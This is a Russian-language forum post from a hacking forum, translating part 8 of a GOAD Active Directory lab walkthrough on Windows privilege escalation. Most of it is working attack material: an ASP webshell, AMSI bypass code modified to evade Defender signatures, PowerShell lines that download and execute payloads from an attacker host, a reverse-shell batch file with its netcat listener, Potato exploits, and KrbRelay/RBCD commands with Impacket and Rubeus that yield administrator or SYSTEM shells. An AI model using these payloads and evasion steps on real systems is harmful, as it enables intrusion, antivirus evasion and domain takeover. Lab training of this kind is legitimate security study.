Статья GOAD - часть 8 - повышение привилегий

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

В предыдущем посте мы пробовали несколько атак с MSSQL на домен. На этот раз мы получим веб-шелл на IIS и попробуем некоторые методы повышения привилегий.

IIS — веб-оболочка
  • На http://192.168.56.22/ есть простое приложение asp.net, это приложение дает нам только простую функцию загрузки файлов.
1670700240813.png


Оттуда мы можем загрузить базовую веб-оболочку в asp: webshell.asp (на момент написания это позволяет избежать подписи защитника)
Код:
<%
Function getResult(theParam)
    Dim objSh, objResult
    Set objSh = CreateObject("WScript.Shell")
    Set objResult = objSh.exec(theParam)
    getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
    <BODY>
        Enter command:
            <FORM action="" method="POST">
                <input type="text" name="param" size=45 value="<%= myValue %>">
                <input type="submit" value="Run">
            </FORM>
            <p>
        Result :
        <% 
        myValue = request("param")
        thisDir = getResult("cmd /c" & myValue)
        Response.Write(thisDir)
        %>
        </p>
        <br>
    </BODY>
</HTML>

Веб-шелл загружается в папку загрузки И у нас есть выполнение команды на сервере IIS

1670700318645.png


Можно получить шел тем же методом что и MSSQL

privesc_iss_revshell.png


Как пользователь службы IIS мы получили SeImpersonatePrivilege! (то же самое в mssql, сервис получил это разрешение по умолчанию)

Privesc

Существует большое количество техник privesc на microsoft windows. Здесь мы попробуем только две, которые не были исправлены компанией microsoft: printspoofer и krbrelay.

1670700438774.png


Поскольку privesc запускается на целевом компьютере, в этой главе мы выполним некоторые действия powershell для повышения привилегий.


Обход AMSI

Для проведения всех тестов я включил windows defender на всех системах. В Castelblack защитник отключен по умолчанию, вам следует включить его перед тестированием описанной здесь техники privesc.
Чтобы иметь возможность воспроизводить обнаруженные AV-приложения из памяти, необходимо обойти интерфейс сканирования вредоносных программ (AMSI) в текущем процессе.
Существует несколько способов обойти AMSI, и вы можете найти их на странице github: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.
Также вы можете найти сгенерированную пользователем полезную нагрузку на этом сайте amsi.fail.
Все общедоступные методы, похоже, подписаны, но мы также можем выбрать один из них и сделать несколько небольших модификаций вручную.

Оригинал :
Код:
# Matt Graebers второй метод Reflection
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
Модифицированная версия:
Код:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

Это тривиальная модификация, но этого достаточно, чтобы обойти сигнатуру на момент написания статьи. После этого мы можем использовать rasta mouse для обхода AMSI, чтобы отключить AMSI на уровне .net.
Если вы хотите узнать, зачем это делать, вам стоит прочитать эту запись в блоге от @ShitSecure, объясняющую разницу между уровнем AMSI в powershell и .net: https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/.

# Исправление amsi.dll AmsiScanBuffer от rasta-mouse

Код:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")].
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")].
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")].
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Поместим скрипт обхода на наш диск и загрузим его удаленно
Код:
python3 -m http.server 8080
(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')|IEX
1670700965771.png


Как только мы это сделали, мы можем играть во что захотим с условием не касаться диска! #the_disk_is_lava. Теперь мы можем воспроизводить все наши .net-приложения, запуская их напрямую с помощью команды execute.

WinPeas, не касаясь диска​


Моими любимыми инструментами для поиска повышения привилегий, без сомнения, являются winpeas. Мы уже обходим amsi на предыдущем шаге, что мы можем сделать сейчас, чтобы избежать обнаружения, так это поместить winpeas на http-сервер и загрузить его в память. В этой статье очень хорошо объясняется, как загрузить и запустить сборку с полной памятью powershell.


Код:
cd /var/www/html
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
python3 -m http.server 8080

И воспроизведите winPeas из памяти с помощью следующих команд powershell (поскольку winPeas находится в .net, мы загружаем сборку и запускаем ее напрямую):


Код:
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()

WinPeas занимает несколько минут для завершения и возвращает подсказку со всей информацией (без захвата консоли вывод пуст в нашей базовой обратной оболочке powershell, если у вас есть «настоящая» оболочка, вам не нужно этого делать и просто запустите [winPEAS.Program]::Main("");без консоли, спасибо коду PowerSharpPack за трюк) Если вы не хотите скучать, компилируя .net-приложение или изменяя его с помощью общедоступного класса и метода и без exit.environment, вы также можете использовать PowerSharpPack , и все будет сделано за вас (еще раз спасибо @ShitSecure).


Код:
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -winPEAS

И мы получаем информацию о привилегии SEImpersonate, которую можно использовать для эскалации.

1670701286755.png


Упаковка вашего двоичного файла .net для powershell​

Если вы не хотите использовать двоичный файл из Интернета (и вам не следует использовать предварительно скомпилированный код, полученный на github, во время вашей пентест-миссии), вы также можете упаковать свой собственный двоичный файл с помощью следующего скрипта: EncodeAssembly.ps1
Этот скрипт является модификацией скрипта с сайта snovvcrash и некоторого кода PowerSharpPack.
Pack:
Код:
. .\EncodeAssembly.ps1
Invoke-EncodeAssembly -binaryPath winPEAS.exe -namespace winPEAS -capture $true
Чтобы использовать в качестве отражающей сборки в powershell, помните, что вам следует избегать environment.exit() в коде .net, а также вы должны установить класс и основной метод общедоступными.

SeImpersonatePrivilege для Authority\system​

Чтобы повысить привилегии от нашего пользователя iis (или mssql) с SeImpersonatePrivilege до Authority\system, мы можем использовать одну из «картофельных» техник.
Замечательный пост в блоге: https://jlajara.gitlab.io/Potatoes_Windows_Privesc
Итак, давайте воспользуемся SweetPotato , компиляцией всех техник, «Картошка, чтобы править всеми» .
Итак, мы клонируем проект и компилируем его с помощью VisualStudio.
Подготовьте bat-файл для запуска базовой обратной оболочки powershell при выполнении.

Код:
cd www
echo "@echo off" > runme.bat
echo "start /b $(python3 payload.py 192.168.56.1 4445)" >> runme.bat
echo "exit /b" >> runme.bat
python3 -m http.server 8080

Подготовьте слушателя
Код:
nc -nlvp 4445


С нашим реверс шелом выполняем:
Код:
mkdir c:\temp
cd c:\temp
(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.1:8080/runme.bat','c:\temp\runme.bat')
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/SweetPotato.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[SweetPotato.Program]::Main(@('-p=C:\temp\runme.bat'));[Console]::SetOut($out);$sWriter.ToString()

1670701851154.png

  • По умолчанию инструмент использует технику printSpoofer от @itm4n.
  • Если вы не хотите компилировать SweetPotato, вы также можете сделать это с помощью BadPotato из PowerSharpPack (но сначала мы должны обойти amsi — см. часть об обходе AMSI — иначе он будет обнаружен)
Код:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')
Invoke-BadPotato -Command "c:\temp\runme.bat"

1670702005589.png


Поднимим KrbRelay
  • Еще одна очень полезная техника для повышения привилегий — ретрансляция kerberos, как это реализовано в KrbRelayUp.
  • Спасибо @dec0ne, который использует GOADv1 для демонстрации техники своего инструмента :)
  • Поскольку KrbRelayUp обнаруживается защитником, мы будем использовать пошаговый подход, подобный этому описанию @an0n_r0, используя @cube0x0 KrbRelay.
  • На момент написания KrbRelay не обнаружен защитником.
  • Условия для использования этого privesc: подписывание LDAP НЕ применяется, мы можем проверить это с помощью модуля cme ldap-signing:

Код:
 cme ldap 192.168.56.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-signing

1670702121934.png

Добавьте компьютер и RBCD​

  • Чтобы использовать krrelay, добавив компьютер, вы должны иметь возможность добавить новый компьютер, мы можем проверить это с помощью модуля cme MAQ.
Код:
cme ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ

1670702169010.png


Добавить компьютер:


Код:
addcomputer.py -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'

Получите SID этого компьютера:

Код:
PS C:\Users\jon.snow\Desktop> $o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID
PS C:\Users\jon.snow\Desktop> (New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
S-1-5-21-3469228063-1577654746-3345322900-1127
Проверить порты
Код:
PS C:\Users\jon.snow\Desktop> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 443
Запустить krrelay
Код:
PS C:\Users\jon.snow\Desktop> .\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-3469228063-1577654746-3345322900-1127 -port 443
1670702325521.png


Теперь заканчиваем с эксплуатацией RBCD c Impacket :
Код:
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword'
export KRB5CCNAME=/workspace/krbrelay\$.ccache
getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
export KRB5CCNAME=/workspace/administrator@CIFS_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k @castelblack.north.sevenkingdoms.local

C:\>whoami
north\administrator

1670702382752.png


Или с Rubeus

Код:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -rubeus -Command "hash /password:ComputerPassword"
PowerSharpPack -rubeus -Command "s4u /user:krbrelay$ /rc4:0EDDEDC35EB7B7ECDE0C9F0564E54C83 /impersonateuser:administrator /msdsspn:host/castelblack /ptt"

И так же, как в статье @an0n_r0, мы запускаем SCMUACBypass.exe от Tyranid и получаем системную оболочку.

1670702465239.png

Без AV или если вы модифицируете/запутываете KrbRelayUp, вы можете сделать все с помощью следующих команд:

Код:
.\KrbRelayUp.exe relay -Domain north.sevenkingdoms.local -CreateNewComputerAccount -ComputerName evilhost2$ -ComputerPassword pass@123
./KrbRelayUp.exe spawn -m rbcd -d north.sevenkingdoms.local -dc winterfell.north.sevenkingdoms.local -cn evilhost2$ -cp pass@123

С другими методами​

  • KrbRelay также можно использовать для ретрансляции в ADCS или для добавления msDS-KeyCredentialLink и использования ShadowCredentials. Все, что вам нужно знать, находится на этой странице , это оставьте читателю в качестве упражнения.
  • Запусти на браавос mssql и попробуй получить шелл от имени админа :)

Полезные ссылки​

В следующий раз мы сделаем обзор техники бокового перемещения внутри AD
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх